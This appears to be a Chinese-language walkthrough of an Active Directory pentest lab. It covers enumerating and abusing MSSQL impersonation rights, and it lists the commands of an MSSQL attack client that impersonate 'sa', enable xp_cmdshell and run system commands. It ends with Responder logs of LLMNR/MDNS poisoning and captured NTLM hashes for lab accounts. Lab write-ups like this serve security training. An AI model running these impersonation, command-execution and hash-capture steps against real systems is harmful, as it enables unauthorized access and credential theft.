lcd {path} - changes the currentlocal directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means enum_db - enum databases enum_links - enum linked servers enum_impersonate - check logins that can be impersonated enum_logins - enum login users enum_users - enum current db users enum_owner - enum db owner exec_as_user {user} - impersonate withexecuteasuser exec_as_login {login} - impersonate withexecuteaslogin xp_cmdshell {cmd} - executes cmd using xp_cmdshell xp_dirtree {path} - executes xp_dirtree on the path sp_start_job {cmd} - executes cmd using the sqlserver agent (blind) use_link {link} - linked serverto use (set use_link localhost to go back tolocalor use_link .. toget back one step) ! {cmd} - executes a local shell cmd upload {from} {to} - uploads file {from} to the SQLServer host {to} download {from} {to} - downloads file from the SQLServer host {from} to {to} show_query - show query mask_query - mask query
upload {from}{to} - 将文件从本地 {from} 上传到 SQL Server 目标机 {to}
download {from}{to} - 将文件从 SQL Server 目标机 {from} 下载到本地 {to}
show_query - 显示查询语句
mask_query - 隐藏查询语句
枚举
1
enum_logins
模拟用户
让我们列举一下冒充行为的几种可能性:
1
enum_impersonate
这将启动以下查询
1 2 3 4 5
SELECT'LOGIN'as'execute as',''AS'database', pe.permission_name, pe.state_desc,pr.name AS'grantee', pr2.name AS'grantor' FROM sys.server_permissions pe JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
命令列出了所有具有模拟权限的登录名
还会对每个数据库执行以下命令:
1 2 3 4 5 6
use <db>; SELECT'USER'as'execute as', DB_NAME() AS'database', pe.permission_name,pe.state_desc, pr.name AS'grantee', pr2.name AS'grantor' FROM sys.database_permissions pe JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
命令列出了所有具有模拟权限的用户
比较
登录名 Login
用户 User
级别
SQL Server 实例级别
数据库级别
作用
让你能登录服务器
让你能在数据库里做事情
控制什么
“我能进来吗?”
“我能干什么?”
可以对应多个吗
是的,一个登录名可以对应多个数据库用户
SQL 登录名用于身份验证,SQL Server 用户用于授权。身份验证决定我们是否拥有访问服务器的权限,而授权决定我们可以在数据库中执行哪些不同的操作。登录名在 SQL Server 实例级别创建,而用户在 SQL Server 数据库级别创建。我们可以让来自不同数据库的多个用户连接到同一个服务器登录名。”
samwell 已经冒充用户 sa 登录了
我们可以使用xp_cmdshell模拟 sa并执行命令。
1 2 3
exec_as_login sa enable_xp_cmdshell xp_cmdshell whoami
[SMB] NTLMv1-SSP Client : fe80::a971:cff2:d9a0:81f4 [SMB] NTLMv1-SSP Username : NORTH\eddard.stark [SMB] NTLMv1-SSP Hash : eddard.stark::NORTH:76F2232A218D609200000000000000000000000000000000:E71DECB2B13AD49E4CC4D13643D1C6756D10C8BE485614FB:507f26dbfe27c70f [*][MDNS] Poisoned answer sent to 192.168.56.11for name Meren.local [*][LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren [*][LLMNR] Poisoned answer sent to 192.168.56.11for name Meren [*][MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local [*][LLMNR] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren [*][LLMNR] Poisoned answer sent to 192.168.56.11for name Meren [*][MDNS] Poisoned answer sent to 192.168.56.11for name Meren.local [*][MDNS] Poisoned answer sent to fe80::a971:cff2:d9a0:81f4 for name Meren.local [SMB] NTLMv1-SSP Client : fe80::a971:cff2:d9a0:81f4 [SMB] NTLMv1-SSP Username : NORTH\eddard.stark [SMB] NTLMv1-SSP Hash : eddard.stark::NORTH:1B78FDDCD511427700000000000000000000000000000000:1E963DFE51AEA4DB7FFCCE1EEB95EC7CD9BD3C30785D10D4:a4b748ba366fd5b4 [SMB] NTLMv2-SSP Client : 192.168.56.22 [SMB] NTLMv2-SSP Username : NORTH\sql_svc [SMB] NTLMv2-SSP Hash : sql_svc::NORTH:d1d76598545477a4:4043ADCCA794822E1B8F76BC68A45ACC:010100000000000000E3CED4E58CDC015CD18809F0A1E2880000000002000800480059005200540001001E00570049004 E002D00360052004D003700590034005400490050004900320004003400570049004E002D00360052004D00370059003400540049005000490032002E0048005900520054002E004C004F00430041004C000300140048005900520054002E0 04C004F00430041004C000500140048005900520054002E004C004F00430041004C000700080000E3CED4E58CDC0106000400020000000800300030000000000000000000000000300000CB56548D7557EACE26CB169770DA9E3DB75AFB9DD 077CF4418ED3D97119D599C0A001000000000000000000000000000000000000900260063006900660073002F003100390032002E003100360038002E00350036002E003100300037000000000000000000